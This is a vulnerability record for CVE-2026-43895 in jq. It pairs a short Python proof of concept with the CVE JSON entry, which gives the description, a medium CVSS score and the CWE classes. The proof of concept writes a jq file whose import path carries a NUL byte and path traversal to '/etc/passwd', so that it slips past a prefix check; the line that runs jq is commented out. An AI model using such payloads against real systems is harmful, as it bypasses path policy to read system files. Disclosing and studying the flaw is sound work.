CVE-2026-43895

import subprocess import os # PoC for CVE-2026-43895: NUL Byte Injection in jq import paths # This script demonstrates the concept of exploiting the mismatch between # logical path validation and physical path resolution. # 1. Create a malicious jq file containing an import with a NUL byte. # The payload attempts to bypass a hypothetical check requiring 'safe/' prefix. # Logical path: 'safe/module\x00../../etc/passwd' # C-resolved path: 'safe/module' (if check looks at end) or '../../etc/passwd' (if check looks at start) # Based on the CVE description: logical string is accepted, but resolved path is truncated. payload = b'import "safe/module\x00../../etc/passwd"; .' with open('malicious.jq', 'wb') as f: f.write(payload) print("[+] Created malicious.jq with NUL byte injection payload.") # 2. Execute jq with the malicious file. # In a vulnerable version, jq might resolve this incorrectly. try: print("[+] Running jq...") # result = subprocess.run(['jq', '-f', 'malicious.jq'], capture_output=True) # print(result.stdout.decode()) except Exception as e: print(f"Error running jq: {e}")

{"cve": {"id": "CVE-2026-43895", "sourceIdentifier": "[email protected]", "published": "2026-05-11T18:16:37.387", "lastModified": "2026-05-11T18:16:37.387", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "jq is a command-line JSON processor. In 1.8.1 and earlier, jq accepts embedded NUL bytes in import paths at the jq-language level, but later resolves those paths through C string operations during module and data-file lookup. This creates a mismatch between the logical import string that policy or audit code may validate and the on-disk path that jq actually opens."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-158"}]}], "references": [{"url": "https://github.com/jqlang/jq/security/advisories/GHSA-7q7g-mrq3-phxr", "source": "[email protected]"}]}}